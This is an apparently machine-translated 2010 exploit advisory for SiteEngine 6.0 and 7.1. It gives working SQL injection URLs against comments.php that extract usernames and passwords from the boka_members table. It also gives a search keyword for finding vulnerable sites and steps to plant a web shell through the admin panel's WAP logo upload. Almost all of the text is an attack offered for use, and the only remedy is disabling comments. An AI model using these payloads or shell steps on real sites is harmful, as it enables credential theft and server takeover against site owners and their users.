SiteEngine 6.0 & amp; 7.1 SQL injection vulnerability and repair

?
######################################## #####################################
# Title: SiteEngine 6.0 SQL Injection Vulnerability
# Date: 2010-11-25
# Author: Beach
# Team: www.linux5w.com
# Vendor: www.siteengine.netwww.boka.cn
# Keyword: "Powered by SiteEngine" // 300,000 + ~
######################################## #####################################
[*] Description:
This vulnerability requires that the comment feature be enabled (enabled by default)
######################################## #####################################
[*] Exploitation:

Http: // server/comments. php? Id = 1 & module = news + m, boka_newsclass + c + where + 1 = 2 + union + select + 1, 2, group_concat (username, 0x3a, password, 0x3c62723e ), 4, 5 ,..., 24, 25, 26 + from + boka_members % 23

######################################## #####################################
[*] Shell:

Management Background: http: // server/admin/
System Maintenance ---> wap settings ---> upload the wap logo image (within 10 KB) --->
OK ---> browse now ---> the image viewing attribute is a sentence address.

######################################## #####################################

 

?

######################################## #####################################
# Title: SiteEngine 7.1 SQL Injection Vulnerability
# Date: 2010-11-25
# Author: Beach
# Team: www.linux5w.com
# Vendor: www.siteengine.netwww.boka.cn
# Keyword: "Powered by SiteEngine" // 300,000 + ~
######################################## #####################################
[*] Description:
This vulnerability requires the comment feature to be enabled. It is enabled by default.
######################################## #####################################
[*] Exploitation:

Enterprise Portal version:
[1] http: // server/comments. php? Id = 1 & module = newstopic + m, boka_newstopicclass + c + where + 1 = 2 + union + select + 1, 2, concat (username, 0x3a, password), 4, 5, 6 ,..., 38,39 + from + boka_members % 23

[2] http: // server/comments. php? Id = 1 & module = news + m, boka_newsclass + c + where + 1 = 2 + union + select + 1, 2, concat (username, 0x3a, password), 4, 5, 6 ,..., 26, 27 + from + boka_members % 23

The number of fields may be different. Try it by yourself.
========================================================== ==============================================
E-Commerce version:

[+] Http: // server/comments. php? Id = 1 & module = news + m, boka_newsclass + c + where + 1 = 2 + union + select + 1, 2, password, 4, 5, 6 ,..., 37,38 + from + boka_members % 23
######################################## #####################################

Other versions are similar
######################################## #####################################
[*] Shell:

Management Background: http: // server/admin/
System Maintenance ---> wap settings ---> upload the wap logo image (within 10 KB) --->
OK ---> browse now ---> the image viewing attribute is a sentence address.
######################################## #####################################
 

Fix: Close comments and wait for official upgrade